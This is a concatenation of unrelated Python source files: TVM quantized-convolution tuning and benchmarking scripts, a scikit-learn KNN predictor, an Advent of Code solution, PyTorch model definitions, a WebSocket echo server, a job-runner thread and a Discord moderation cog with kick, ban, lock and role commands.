    sch.tensorize(oc_s_inner, ARM_DOT_4x4_i8_SDOT_INTRIN)

def get_transform():
    import torchvision.transforms as transforms

    normalize = transforms.Normalize(
        mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
    )
    return transforms.Compose(
        [
            transforms.Resize(256),
            transforms.CenterCrop(224),
            transforms.ToTensor(),
            normalize,
        ]
    )

def get_real_image(im_height, im_width):
    img_url = "https://github.com/dmlc/mxnet.js/blob/main/data/cat.png?raw=true"
    img_path = download_testdata(img_url, "cat.png", module="data")
    return Image.open(img_path).resize((im_height, im_width))

def get_imagenet_input():
    im = get_real_image(224, 224)
    preprocess = get_transform()
    pt_tensor = preprocess(im)
    return np.expand_dims(pt_tensor.numpy(), 0)

def run_tvm_model(mod, params, input_name, inp, target="llvm"):
    with tvm.transform.PassContext(opt_level=3):
        lib = relay.build(mod, target=target, params=params)

    runtime = tvm.contrib.graph_executor.GraphModule(
        lib["default"](tvm.device(target, 0))
    )

    runtime.set_input(input_name, inp)
    runtime.run()
    return runtime.get_output(0).numpy(), runtime

def quantize_model(model, inp):
    model.fuse_model()
    model.qconfig = torch.quantization.get_default_qconfig("fbgemm")
    torch.quantization.prepare(model, inplace=True)
    # Dummy calibration
    model(inp)
    torch.quantization.convert(model, inplace=True)

def test_torchvision():
    inp = get_imagenet_input()

    qmodel = qresnet50(pretrained=True).eval()

    pt_inp = torch.from_numpy(inp)
    quantize_model(qmodel, pt_inp)
    script_module = torch.jit.trace(qmodel, pt_inp).eval()

    input_name = "input"  # the input name can be be arbitrary for PyTorch frontend.
    input_shapes = [(input_name, (1, 3, 224, 224))]
    relay_mod, params = relay.frontend.from_pytorch(script_module, input_shapes)

    target = "llvm -mcpu=cascadelake"

    extracted_tasks = extract_task_from_relay(relay_mod, target, params)

    tune_tasks = list(
        filter(
            lambda task: "conv2d" in task.task_name,
            extracted_tasks,
        )
    )

    database = JSONDatabase(
        path_workload="database_workload_conv2d.json",
        path_tuning_record="database_tuning_record_conv2d.json",
    )

    for task in tune_tasks:
        mod = Parse._mod(task.dispatched[0])
        workload = database.commit_workload(mod)

        # print(task.mod)
        # print(mod)

        sch = tvm.tir.Schedule(mod)
        block = sch.get_block("conv2d_NCHWc_int8")

        schedule_rule = sch.get(block).annotations["schedule_rule"]

        if "conv2d_NCHWc_int8" in schedule_rule:
            schedule_conv2d(sch, block)

        tune_rec = TuningRecord(
            sch.trace, [0.0], workload, tvm.target.Target(target), []
        )

        database.commit_tuning_record(tune_rec)

    with ApplyHistoryBest(database):
        with tvm.transform.PassContext(
            opt_level=3,
            config={"relay.backend.use_meta_schedule": True},
        ):
            lib = relay.build(relay_mod, target=target, params=params)

    dev = tvm.cpu(0)

    runtime = tvm.contrib.graph_executor.GraphModule(lib["default"](dev))

    runtime.set_input(input_name, inp)
    runtime.run()

    n_repeat = 100

    print(runtime.benchmark(dev, number=1, repeat=n_repeat))

    if True:
        tvm_result, rt_mod = run_tvm_model(
            relay_mod, params, input_name, inp, target=target
        )
        print(rt_mod.benchmark(dev, number=1, repeat=n_repeat))

# class ConvBn(nn.Module):
#     def __init__(self, with_relu=False):
#         super().__init__()
#         layers = [nn.Conv2d(64, 64, 3, bias=True), nn.BatchNorm2d(64)]
#         if with_relu:
#             layers.append(nn.ReLU())
#         self.conv = nn.Sequential(*layers)
#         self.quant_wrap = QuantWrapper(self.conv)
#         self.with_relu = with_relu

#     def forward(self, x):
#         return self.quant_wrap(x)

#     def fuse_model(self):
#         indices = ["0", "1"]
#         if self.with_relu:
#             indices.append("2")
#         fuse_modules(self.conv, indices, inplace=True)

def test_torch_qconv2d():
    # pt_inp = torch.rand((1, 64, 64, 64))
    # inp = pt_inp.numpy()
    inp = get_imagenet_input()
    pt_inp = torch.from_numpy(inp)

    # qmodel = ConvBn().eval()
    qmodel = qresnet50(pretrained=True).eval()

    quantize_model(qmodel, pt_inp)

    script_module = torch.jit.trace(qmodel, pt_inp).eval()

    input_name = "input"  # the input name can be be arbitrary for PyTorch frontend.
    input_shapes = [(input_name, inp.shape)]
    relay_mod, params = relay.frontend.from_pytorch(script_module, input_shapes)

    relay_mod = convert_conv2d_layout(relay_mod, {"qnn.conv2d": ["NHWC", "HWIO"]})

    target = "llvm --device arm_cpu --mtriple aarch64-apple-darwin -mattr=+v8.2a,+dotprod"

    tasks = autotvm.task.extract_from_program(
        relay_mod["main"],
        target=target,
        params=params,
    )

    for task in tasks:
        print(task)

    return
    extracted_tasks = extract_task_from_relay(relay_mod, target, params)

    tune_tasks = list(
        filter(
            lambda task: "conv2d" in task.task_name,
            extracted_tasks,
        )
    )

    database = JSONDatabase(
        path_workload="database_workload_conv2d.json",
        path_tuning_record="database_tuning_record_conv2d.json",
    )

    for task in tune_tasks:
        mod = Parse._mod(task.dispatched[0])
        workload = database.commit_workload(mod)

        print(task.mod)
        # print(mod)

        sch = tvm.tir.Schedule(mod)
        block = sch.get_block("conv2d_NCHWc_int8")

        schedule_rule = sch.get(block).annotations["schedule_rule"]

        if "conv2d_NCHWc_int8" in schedule_rule:
            schedule_conv2d(sch, block)

        tune_rec = TuningRecord(
            sch.trace, [0.0], workload, tvm.target.Target(target), []
        )

        database.commit_tuning_record(tune_rec)

    with ApplyHistoryBest(database):
        with tvm.transform.PassContext(
            opt_level=3,
            config={"relay.backend.use_meta_schedule": True},
        ):
            lib = relay.build(relay_mod, target=target, params=params)

    dev = tvm.cpu(0)

    runtime = tvm.contrib.graph_executor.GraphModule(lib["default"](dev))

    runtime.set_input(input_name, inp)
    runtime.run()

    n_repeat = 100

    print(runtime.benchmark(dev, number=1, repeat=n_repeat))

    if True:
        tvm_result, rt_mod = run_tvm_model(
            relay_mod, params, input_name, inp, target=target
        )
        print(rt_mod.benchmark(dev, number=1, repeat=n_repeat))

def convert_conv2d_layout(mod, desired_layouts):
    with tvm.transform.PassContext(opt_level=3):
        seq = tvm.transform.Sequential([relay.transform.ConvertLayout(desired_layouts)])
        return seq(mod)

def arm_conv2d_relay():
    data_shape = (1, 64, 56, 56)
    weight_shape = (64, 64, 3, 3)
    bias_shape = (weight_shape[0],)
    padding = (1, 1)

    bias = relay.var("bias", shape=bias_shape, dtype="int32")

    conv2d = get_conv2d_nchw(data_shape, weight_shape, padding)
    bias_add = relay.nn.bias_add(conv2d, bias)

    out = bias_add + relay.const(1, dtype="int32")
    # out = conv2d

    relay_mod = tvm.IRModule.from_expr(out)

    dev = tvm.device(target, 0)

    data = np.random.randint(low=-127, high=128, size=data_shape).astype("int8")
    weight_np = np.random.randint(low=-127, high=128, size=weight_shape).astype("int8")
    bias_np = np.random.randint(low=-127, high=128, size=bias_shape).astype("int32")
    params = {"weight": weight_np, "bias": bias_np}

    use_nhwc = False

    if use_nhwc:
        relay_mod = convert_conv2d_layout(relay_mod, {"nn.conv2d": ["NHWC", "HWIO"]})

    # print(relay.transform.InferType()(relay_mod))

    def schedule_fn(task, sch):
        if "conv2d" not in task.task_name:
            return False

        block = sch.get_block("conv2d_NCHWc_int8")

        # Looks up schedule_rule annotation.
        # See the comment in test_tune_relay_manual_tir_vnni().
        schedule_rule = sch.get(block).annotations["schedule_rule"]

        if "conv2d_NCHWc_int8" in schedule_rule:
            print(sch.mod.script())
            schedule_conv2d_nchwc(sch, block)
            return True

        return False

    with tvm.transform.PassContext(config={"relay.FuseOps.link_params": 1}):
        database = apply_fixed_schedules(relay_mod, target, params, schedule_fn)

    print("building")

    with ApplyHistoryBest(database):
        with tvm.transform.PassContext(
            opt_level=3,
            config={"relay.backend.use_meta_schedule": True},
        ):
            # opt_mod, _ = relay.optimize(relay_mod, target=target, params=params)
            # print(opt_mod)
            lib = relay.build(relay_mod, target=target, params=params)
            # print(lib.lib.get_source("asm"))

    # print(type(lib))
    # return
    mod = lib["default"](dev)
    runtime = tvm.contrib.graph_executor.GraphModule(mod)

    runtime.set_input("data", tvm.nd.array(data, dev))
    runtime.run()

    out = runtime.get_output(0).numpy()

    ref_exec = relay.create_executor(
        "vm", mod=relay_mod, device=tvm.cpu(0), target="llvm"
    )
    # ref = ref_exec.evaluate()(*[data, weight_np, bias_np]).numpy()
    ref = ref_exec.evaluate()(*[data]).numpy()

    np.testing.assert_equal(out, ref)

    print("ok")
    print(runtime.benchmark(dev, number=1, repeat=100))

if __name__ == "__main__":
    arm_conv2d_relay()
    # test_torchvision()
    # test_torch_qconv2d()


import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.pipeline import Pipeline
from sklearn.neighbors import KNeighborsClassifier
from sklearn.compose import ColumnTransformer
from sklearn.preprocessing import MinMaxScaler

import warnings
from sklearn.exceptions import DataConversionWarning
warnings.filterwarnings(action='ignore', category=DataConversionWarning)

def prediccionsatisfaccion(dic):
    lista = pd.DataFrame(data=dic)
    # REMOTO
    direccion='proyect/bd/data_60_try.csv'
    # LOCAL
    # direccion='proyect/proyect/bd/data_60_try.csv'
    basededatosmayores = pd.read_csv(direccion, index_col=0)
    basededatosmayores = basededatosmayores.drop(columns=['P767', 'P6081', 'P6083'])
    basededatosmayores = basededatosmayores[basededatosmayores['P1896'].le(10)]

    X = basededatosmayores.copy().drop(columns=['P1895','P6051','P5502'])
    y = basededatosmayores.copy().filter(items=['P1895'])
    test_size = 0.2
    random_state = 10
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=random_state)

    preprocessor = ColumnTransformer(
        [('age_', MinMaxScaler(),  ['P6040']),
        ('satisfaction_', MinMaxScaler(),  ['P1896', 'P1897', 'P1898', 'P1899', 'P3175', 'P1901', 'P1903', 'P1904', 'P1905', 'P1927'])
        ])
    preprocessor.fit(basededatosmayores)

    pipe = Pipeline([
        ('preprocessor', preprocessor),
        ('model', KNeighborsClassifier(
            n_neighbors=25,
            algorithm='auto',
            metric='manhattan',
            weights='distance'))
        ])

    pipe.fit(X_train, y_train)
    return pipe.predict(lista)[0]


# vi: set shiftwidth=4 tabstop=4 expandtab:
import datetime
import collections

def get_instructions_from_file(file_path="../../resources/year2015_day1_input.txt"):
    with open(file_path) as f:
        for l in f:
            return l.strip()

def get_final_floor(instructions):
    c = collections.Counter(instructions)
    return c["("] - c[")"]

def get_position_to_basement(instructions, basement=-1):
    floor = 0
    values = {"(": 1, ")": -1}
    for i, ins in enumerate(instructions, start=1):
        floor += values[ins]
        if floor == basement:
            return i
    assert False

def run_tests():
    assert get_final_floor("(())") == 0
    assert get_final_floor("()()") == 0
    assert get_final_floor("(((") == 3
    assert get_final_floor("())") == -1
    assert get_position_to_basement(")") == 1
    assert get_position_to_basement("()())") == 5

def get_solutions():
    instructions = get_instructions_from_file()
    print(get_final_floor(instructions) == 232)
    print(get_position_to_basement(instructions) == 1783)

if __name__ == "__main__":
    begin = datetime.datetime.now()
    run_tests()
    get_solutions()
    end = datetime.datetime.now()
    print(end - begin)


import torch
import torch.nn as nn
import math

class MnistMLP(nn.Module):
    def __init__(self):
        super(MnistMLP, self).__init__()
        self.in_size = 28 * 28
        self.hidden_size = 200
        self.out_size = 10
        self.net = nn.Sequential(
            nn.Linear(in_features=self.in_size, out_features=self.hidden_size),
            nn.ReLU(),
            nn.Linear(in_features=self.hidden_size, out_features=self.out_size),
            nn.Softmax(dim=2)
        )

        for m in self.modules():
            if type(m) == nn.Linear:
                nn.init.xavier_normal_(m.weight)

    def forward(self, batch):
        return torch.squeeze(self.net(batch))

class LettersCNN(nn.Module):
    def __init__(self):
        super(LettersCNN, self).__init__()
        self.kernel_conv = (5, 5)
        self.kernel_pool = (2, 2)
        self.channel1 = 32
        self.channel2 = 64
        self.conv_out_size = self.channel2*7*7
        self.fc_size = 512
        self.out_size = 26

        self.conv = nn.Sequential(
            nn.Conv2d(in_channels=1, out_channels=self.channel1, kernel_size=self.kernel_conv, padding=2),
            nn.MaxPool2d(kernel_size=self.kernel_pool),
            nn.Conv2d(in_channels=self.channel1, out_channels=self.channel2, kernel_size=self.kernel_conv, padding=2),
            nn.MaxPool2d(kernel_size=self.kernel_pool)
        )
        self.fc = nn.Sequential(
            nn.Linear(in_features=self.conv_out_size, out_features=self.fc_size),
            nn.Linear(in_features=self.fc_size, out_features=self.out_size),
            nn.ReLU(),
            nn.Softmax(dim=1)
        )

        for m in self.modules():
            if type(m) == nn.Conv2d:
                nn.init.kaiming_uniform_(m.weight)
            elif type(m) == nn.Linear:
                nn.init.xavier_normal_(m.weight)

    def forward(self, batch):
        out1 = self.conv(batch.view(-1, 1, 28, 28)).view(-1, self.conv_out_size)
        return self.fc(out1)

class Cifar10CnnModel(nn.Module):
    def __init__(self):
        super().__init__()
        self.network = nn.Sequential(
            nn.Conv2d(3, 32, kernel_size=3, padding=1),
            nn.ReLU(),
            nn.Conv2d(32, 64, kernel_size=3, stride=1, padding=1),
            nn.ReLU(),
            nn.MaxPool2d(2, 2),  # output: 64 x 16 x 16

            nn.Conv2d(64, 128, kernel_size=3, stride=1, padding=1),
            nn.ReLU(),
            nn.Conv2d(128, 128, kernel_size=3, stride=1, padding=1),
            nn.ReLU(),
            nn.MaxPool2d(2, 2),  # output: 128 x 8 x 8

            nn.Conv2d(128, 256, kernel_size=3, stride=1, padding=1),
            nn.ReLU(),
            nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1),
            nn.ReLU(),
            nn.MaxPool2d(2, 2),  # output: 256 x 4 x 4

            nn.Flatten(),
            nn.Linear(256 * 4 * 4, 1024),
            nn.ReLU(),
            nn.Linear(1024, 512),
            nn.ReLU(),
            nn.Linear(512, 10))

        for m in self.modules():
            if type(m) == nn.Conv2d:
                nn.init.kaiming_uniform_(m.weight)
            elif type(m) == nn.Linear:
                nn.init.xavier_normal_(m.weight)

    def forward(self, xb):
        return self.network(xb)

class LR(nn.Module):
    def __init__(self):
        from datawrappers.lr import LR_DIM
        super(LR, self).__init__()
        self.linear = nn.Linear(in_features=LR_DIM, out_features=1, bias=False)
        for m in self.modules():
            if type(m) == nn.Linear:
                nn.init.xavier_normal_(m.weight)

    def forward(self, batch):
        out = self.linear(batch)
        return out


import sys

from twisted.internet import reactor
from twisted.python import log
from twisted.web.server import Site
from twisted.web.static import File

from autobahn.websocket import WebSocketServerFactory, \
                               WebSocketServerProtocol, \
                               listenWS
from autobahn.flashpolicy import FlashPolicyFactory

class EchoServerProtocol(WebSocketServerProtocol):

   def onMessage(self, msg, binary):
      self.sendMessage(msg, binary)

if __name__ == '__main__':

   if len(sys.argv) > 1 and sys.argv[1] == 'debug':
      log.startLogging(sys.stdout)
      debug = True
   else:
      debug = False

   wsPort = 9000

   ## Our WebSocket server
   ##
   factory = WebSocketServerFactory("ws://localhost:%d" % wsPort,
                                    debug = debug,
                                    debugCodePaths = debug)

   factory.protocol = EchoServerProtocol
   factory.setProtocolOptions(allowHixie76 = True)
   listenWS(factory)

   ## We need to start a "Flash Policy Server" on TCP/843
   ## which Adobe Flash player will contact to check if
   ## it is allowed to connect to the WebSocket port.
   ##
   flashPolicyFactory = FlashPolicyFactory(wsPort)
   reactor.listenTCP(843, flashPolicyFactory)

   ## Static Web server
   ##
   webdir = File("./web")
   web = Site(webdir)
   reactor.listenTCP(8080, web)

   reactor.run()


import threading
import time
from datetime import datetime

from logic.apps.agents import service as agent_service
from logic.apps.agents.model import AgentStatus
from logic.apps.jobs import service as jobs_service
from logic.apps.jobs.model import Status
from logic.libs.logger import logger

_THREAD_RUNNER_ACTIVE = True

def runner():

    try:

        for id in jobs_service.list_by_status(Status.READY):

            job = jobs_service.get(id)

            agent = agent_service.get_available_agent_by_type(job.agent_type)
            if not agent:
                continue

            agent_service.change_status(agent.id, AgentStatus.WORKING)

            job.agent = agent
            job.status = Status.RUNNING
            job.running_date = datetime.now()

            jobs_service.modify(job)

            jobs_service.exec_into_agent(job)

    except Exception as e:
        logger.log.error(e)

def start_runner_thread():

    logger.log.info('Start thread -> runner')

    global _THREAD_RUNNER_ACTIVE
    _THREAD_RUNNER_ACTIVE = True

    def thread_method():
        global _THREAD_RUNNER_ACTIVE
        while _THREAD_RUNNER_ACTIVE:
            runner()
            time.sleep(3)

    thread = threading.Thread(target=thread_method)
    thread.start()

def stop_runner_thread():
    global _THREAD_RUNNER_ACTIVE
    _THREAD_RUNNER_ACTIVE = False


from discord.ext import commands
import discord
from functions import utc_to_ist
import datetime
import time
from helpers import basic_embed
import random
import asyncio
import ipdb

class Mod(commands.Cog):
    """Hehe, you can't use these."""

    def __init__(self, bot):
        self.bot = bot

    @commands.has_permissions(kick_members=True)
    @commands.hybrid_command(name="test", hidden=True)
    async def test(self, ctx):
        emb = basic_embed(
            desc="hi",
            color=discord.Color.red(),
            image_url=
            "https://tenor.com/view/wow-very-dangerous-wow-berry-dangerous-very-dangerous-ayub-kha98-tiktoker-gif-23393447"
        )
        await ctx.reply(embed=emb)

    @commands.has_permissions(kick_members=True)
    @commands.hybrid_command(name="torture")
    async def torture(self, ctx, user: discord.Member, time_to_delete=60):
        """Keep deleting a users message for a certain amount of time."""
        if user:
            await ctx.reply("Okay.... :smirk:")
        else:
            await ctx.reply("Mention someone.", ephemeral=True)
            return

        self.bot.to_torture.append(user)
        total_timeout = time_to_delete
        await asyncio.sleep(total_timeout)
        try:
            self.bot.to_torture.remove(user)
        except:
            pass
        await ctx.reply("Done.")

    @commands.has_permissions(kick_members=True)
    @commands.hybrid_command(name="message")
    async def message_user_text_in_channel(self, ctx, text: str,
                                           channel: discord.TextChannel):
        """Message in a specific channel."""
        await ctx.reply("Done.", ephemeral=True)
        await channel.send(text)

    @commands.has_permissions(kick_members=True)
    @commands.hybrid_command(name="remove_torture")
    async def remove_torture(self, ctx, user: discord.Member):
        """Remove a person from torture."""
        try:
            self.bot.to_torture.remove(user)
            await ctx.reply("Done.")
        except:
            await ctx.reply("User not found in the torture list.")

    @commands.has_permissions(kick_members=True)
    @commands.hybrid_command(name="lock")
    async def lock_channel(self, ctx, channel: discord.TextChannel = None):
        """
        Locks the channel
        """
        if channel is None:
            channel = ctx.channel
        await channel.set_permissions(ctx.message.guild.get_role(839005140891205684),
                                      read_messages=True,
                                      send_messages=False)
        await channel.send("The channel has been locked.")

    @commands.has_permissions(kick_members=True)
    @commands.hybrid_command(name="unlock")
    async def unlock_channel(self, ctx):
        """
        Unlocks the channel
        """
        await ctx.channel.set_permissions(ctx.message.guild.get_role(839005140891205684),
                                          read_messages=True,
                                          send_messages=True)
        await ctx.channel.send("The channel has been unlocked.")

    @commands.has_permissions(kick_members=True)
    @commands.hybrid_command(name="kick")
    async def kick(self, ctx, user: discord.Member):
        """Kick a member"""
        gifs = [
            "https://tenor.com/view/throw-him-out-gif-14876020",
            "https://tenor.com/view/berg-ankit-kick-out-throw-out-get-out-of-here-gif-20129402",
            "https://tenor.com/view/spongebob-squarepants-get-out-kick-out-booted-bye-felicia-gif-13565963",
            "https://tenor.com/view/anime-love-after-world-domination-kick-kicking-kick-out-gif-25869776",
            "https://tenor.com/view/dont-mess-with-the-zohan-you-no-te-metas-con-pissed-off-kick-chair-gif-15621872",
            "https://tenor.com/view/kirk-star-trek-kick-gif-26008018",
            "https://tenor.com/view/oh-yeah-high-kick-take-down-fight-gif-14272509",
            "https://tenor.com/view/bad-mom-grandma-baby-kicking-i-love-children-gif-23173847"
        ]
        if user:
            member = user
        else:
            await ctx.reply("Mention someone.")
            return
        name = member.name
        try:
            await member.kick()
            await ctx.channel.send(random.choice(gifs))
            await ctx.reply(f"`{name} has been kicked.`")
        except:
            await ctx.reply("Sorry but, I don't have the permissions.")

    @commands.has_permissions(ban_members=True)
    @commands.hybrid_command(name="ban")
    async def ban(self, ctx, user: discord.Member):
        """Ban a member"""
        gifs = [
            "https://tenor.com/view/among-us-ban-among-us-ban-imposter-ban-gif-18884723",
            "https://tenor.com/view/spongebob-ban-pubg-lite-banned-rainbow-gif-16212382",
            "https://tenor.com/view/ban-banned-sakura-anime-spray-gif-22585378",
            "https://tenor.com/view/elmo-fire-ban-syntheticllama-gif-21044291",
            "https://tenor.com/view/when-your-team-too-good-ban-salt-bae-gif-7580925",
            "https://tenor.com/view/bane-no-banned-and-you-are-explode-gif-16047504"
        ]
        if user:
            member = user
        else:
            await ctx.reply("Mention someone.")
            return
        name = member.name
        try:
            await member.ban()
            await ctx.channel.send(random.choice(gifs))
            await ctx.reply(f"{name} has been banned.")
        except:
            await ctx.reply("Sorry but, I don't have the permissions.")

    @commands.has_permissions(kick_members=True)
    @commands.command(name="embed")
    async def create_embed(self, ctx):
        """Generate an embed to send."""
        await ctx.reply("Starting embed creation.")

        member = ctx.message.author
        channel = ctx.message.channel

        def check(message):
            return message.author == member and message.channel == channel

        a = "ðŸ‡¦"
        b = "ðŸ‡§"

        msg = await ctx.message.channel.send(
            "A. Movie announcement or B. General announcement?")
        await msg.add_reaction(a)
        await msg.add_reaction(b)

        def check_reaction(reaction, user):
            return user == member and reaction.emoji in [
                a, b
            ] and user.bot == False

        reaction = await self.bot.wait_for("reaction_add",
                                           check=check_reaction,
                                           timeout=60)
        emoji = reaction[0].emoji

        if emoji == a:
            await ctx.message.channel.send("Movie name?")
            msg = await self.bot.wait_for('message', check=check, timeout=180)
            movieName = msg.content

            await ctx.message.channel.send("Movie duration?")
            msg = await self.bot.wait_for('message', check=check, timeout=180)
            movieDuration = msg.content

            #await ctx.message.channel.send("Time?")
            #msg = await self.bot.wait_for('message', check = check, timeout=180)
            #ttime = msg.content

            await ctx.channel.send("Likhna kya hai?")
            msg = await self.bot.wait_for("message", check=check, timeout=60)
            try:
                if msg.content.lower() == "no":
                    customText = ""
                else:
                    customText = (msg.content)
            except:
                await msg.reply("Kuch to gadbad hui")
                return

            desc = f"""
{customText}

**â€¢Movie name ->**
`{movieName}`
**â€¢Duration ->**
`{movieDuration}`
"""
            image_url = "https://media.discordapp.net/attachments/894495731451297852/992826041422848060/images_13.jpeg?width=475&height=475"
            #thumbnail_url = "https://cdn.discordapp.com/attachments/992882759330701323/995960581892870245/standard_1.gif"

            emb = discord.Embed(title="Movie Alert!", description=desc)
            emb.set_image(url=image_url)
            #emb.set_thumbnail(url=thumbnail_url)
            emb.set_footer(text=utc_to_ist(datetime.datetime.utcnow()).date())

            await ctx.message.channel.send("Which channel to send to?")
            msg = await self.bot.wait_for('message', check=check, timeout=180)
            channel_to_send_to = int(msg.content[2:-1])

            await msg.reply(embed=emb)
            msg = await ctx.message.channel.send("Is this correct?")
            await msg.add_reaction(a)
            await msg.add_reaction(b)

            def check_reaction(reaction, user):
                return user == member and reaction.emoji in [
                    a, b
                ] and user.bot == False

            reaction = await self.bot.wait_for("reaction_add",
                                               check=check_reaction,
                                               timeout=60)
            emoji = reaction[0].emoji
            color = discord.Color.from_str("#4ce4e7")
            emb.color = color

            await ctx.channel.send("Any additional text?\nSend `no` for none.")
            msg = await self.bot.wait_for("message", check=check, timeout=60)
            try:
                if msg.content.lower() == "no":
                    addText = ""
                else:
                    addText = (msg.content)
            except:
                await msg.reply("Kuch to gadbad hui")
                return
            if emoji == a:
                try:
                    chnl = self.bot.get_channel(channel_to_send_to)
                    await chnl.send(addText, embed=emb)
                except:
                    await msg.reply("Channel wrong")
            else:
                await msg.reply("Aborted!")

        elif emoji == b:
            await ctx.message.channel.send("Still developing this....")
        else:
            await ctx.message.channel.send(":hehe:")

    @commands.has_permissions(kick_members=True)
    @commands.command(name="load")
    async def load_cog(self, ctx, *args):
        """Load cog"""
        extension = args[0]
        try:
            await self.bot.load_extension('cogs.' + extension)
            await ctx.reply(f"{extension} has been loaded.")
        except:
            await ctx.reply(f"{extension} is already loaded.")

    @commands.has_permissions(kick_members=True)
    @commands.command(name="mass_role")
    async def mass_role(self, ctx, *args):
        """Adds a role to every user in the server."""
        await ctx.reply("Send the role id to add to everyone.")

        def check(message):
            return message.author == ctx.author and message.channel == ctx.channel

        msg = await self.bot.wait_for("message", check=check, timeout=60)
        try:
            role_id = int(msg.content)
            role = msg.guild.get_role(role_id)
        except:
            await ctx.channel.send("Not a valid role id.")
            return
        await msg.reply(
            "Are you sure? This will give everyone in this server this role. y/n"
        )
        msg = await self.bot.wait_for("message", check=check, timeout=60)
        if msg.content.lower() != "y":
            await msg.reply("Okay! Aborting.")
            return

        members = ctx.guild.members
        try:
            for i in members:
                try:
                    await i.add_roles(role)
                    await asyncio.sleep(0.5)
                except Exception as e:
                    print(e)
        except:
            await ctx.channel.send("Permission missing.")
        await ctx.channel.send("Done!")

    @commands.has_permissions(kick_members=True)
    @commands.command(name="mass_derole")
    async def mass_derole(self, ctx, *args):
        """Adds a role to every user in the server."""
        await ctx.reply("Send the role id to remove from everyone.")

        def check(message):
            return message.author == ctx.author and message.channel == ctx.channel

        msg = await self.bot.wait_for("message", check=check, timeout=60)
        try:
            role_id = int(msg.content)
            role = msg.guild.get_role(role_id)
        except:
            await ctx.channel.send("Not a valid role id.")
            return
        await msg.reply(
            "Are you sure? This will remove this role from everyone in this server. y/n"
        )
        msg = await self.bot.wait_for("message", check=check, timeout=60)
        if msg.content.lower() != "y":
            await msg.reply("Okay! Aborting.")
            return

        members = ctx.guild.members
        try:
            for i in members:
                await i.remove_roles(role)
                await asyncio.sleep(1)
        except:
            await ctx.channel.send("Permission missing.")
        await ctx.channel.send("Done!")

    @commands.has_permissions(kick_members=True)
    @commands.command(name="unload")
    async def unload_cog(self, ctx, *args):
        """Unload cog"""
        extension = args[0]
        try:
            await self.bot.unload_extension('cogs.' + extension)
            await ctx.reply(f"{extension} has been unloaded.")
        except:
            await ctx.reply(f"{extension} is already unloaded.")

    @commands.has_permissions(kick_members=True)
    @commands.hybrid_group(name="config")
    async def config(self, ctx):
        """Change the config"""
        if ctx.invoked_subcommand is None:
            await ctx.send("Not a valid command")

    @config.command(name="show")
    async def show_config(self, ctx):
        """Displays all the config variables"""
        config = self.bot.config
        desc = ""
        for section in config:
            if section == "name":
                name = config[section]
                desc += f"**{name}**\n\n"
            elif section == "bot":
                desc += f"`prefix`: {config[section]['prefix']}\n\n"
            elif section == "commands":
                desc += "\n**commands**\n"
                for con in config[section]:
                    desc += "\n"
                    for sec_2 in config[section][con]:
                        ans = config[section][con][sec_2]
                        if "_role" in sec_2:
                            ans = ctx.guild.get_role(ans)
                        elif "_channel" in sec_2:
                            ans = ctx.guild.get_channel_or_thread(ans)
                        desc += f"`{sec_2}`: {ans}\n"
            elif type(config[section]) is dict:
                desc += f"`{section}`\n"
                for sec_2 in config[section]:
                    if isinstance(config[section][sec_2], list):
                        desc += f"{sec_2}\n`"
                        for el in config[section][sec_2]:
                            desc += str(el) + "\n"
                        desc += "`"
                    else:
                        desc += f"`{sec_2}`: {config[section][sec_2]}\n"
        emb = basic_embed(desc=desc)
        await ctx.reply(embed=emb)

    @commands.has_permissions(kick_members=True)
    @config.command(name="change")
    async def change_config(self, ctx, group_name, variable, value):
        """Change the commands section of the config.
        Syntax: $config change <name of group> <variable to change> <value>"""
        if group_name and variable and value:
            try:
                group = group_name
                var = variable
                value = value

                if isinstance(self.bot.config['commands'][group][var], int):
                    try:
                        value = int(value)
                        self.bot.config['commands'][group][var] = value
                        self.bot.config_obj.dump_config()
                        await ctx.reply(f"{var} has been changed to {value}.")
                    except:
                        await ctx.reply("Not a correct value it seems.")
                else:
                    self.bot.config['commands'][group][var] = value
                    self.bot.config_obj.dump_config()
                    await ctx.reply(f"{var} has been changed to {value}.")
            except:
                await ctx.reply("Syntax error.")

        else:
            await ctx.reply(
                "What to change?\nSyntax: $config change <name of group> <variable to change> <value>"
            )

    @commands.has_permissions(kick_members=True)
    @config.command(name="view_roles_of_a_command")
    async def view_roles_of_a_command(self, ctx, command_name):
        """View details about allowed roles for a command."""
        cmd = self.bot.config_obj.view_command_role(command_name)
        text = ""
        for i in cmd:
            text += f"<@&{i}>\n"
        await ctx.reply(text)

    @commands.has_permissions(kick_members=True)
    @config.command(name="view_all_commands_with_roles")
    async def view_all_commands_with_roles(self, ctx):
        """View all available commands"""
        cmd = self.bot.config_obj.view_all_commands_with_roles()
        text = ""
        for i in cmd:
            text += (i) + "\n"
        await ctx.reply(text)

    @commands.has_permissions(kick_members=True)
    @config.command(name="add_role_to_command")
    async def add_role_to_command(self, ctx, command_name, role_to_add):
        """Add a role to the whitelist of any command or similar variables"""
        try:
            self.bot.config_obj.store_role(command_name, int(role_to_add))
            await ctx.reply("Successfully added the role.")
        except:
            await ctx.reply("Couldn't complete the request.")

    @commands.has_permissions(kick_members=True)
    @config.command(name="remove_role_from_command")
    async def remove_role_from_command(self, ctx, command_name,
                                       role_to_remove):
        """Add a role to remove the whitelist of any command or similar variables"""
        try:
            self.bot.config_obj.remove_role(command_name, int(role_to_remove))
            await ctx.reply("Successfully removed the role.")
        except:
            await ctx.reply("Couldn't complete the request.")

    @commands.has_permissions(kick_members=True)
    @config.command(name="add_url")
    async def add_blocked_url(self, ctx, url):
        urls = self.bot.config_obj.add_blocked_url(url)

        text = "These urls are blocked.\n"
        for i in urls:
            text += f"`{i}` \n"
        await ctx.reply(text)

    @commands.has_permissions(kick_members=True)
    @config.command(name="remove_url")
    async def remove_blocked_url(self, ctx, url):
        urls = self.bot.config_obj.remove_blocked_url(url)

        text = "These urls are blocked.\n"
        for i in urls:
            text += f"`{i}` \n"
        await ctx.reply(text)

    @commands.has_permissions(kick_members=True)
    @config.command(name="show_urls")
    async def show_blocked_url(self, ctx):
        text = "These urls are blocked."
        urls = self.bot.config['blocked_urls']['urls']
        for i in urls:
            text += f"`{i}` \n"
        await ctx.reply(text)

    @commands.Cog.listener()
    async def on_command_error(self, ctx, error):
        if isinstance(error, commands.CommandNotFound):
            pass
        else:
            print(error)

async def setup(bot):
    await bot.add_cog(Mod(bot))


from bs4 import BeautifulSoup
import requests

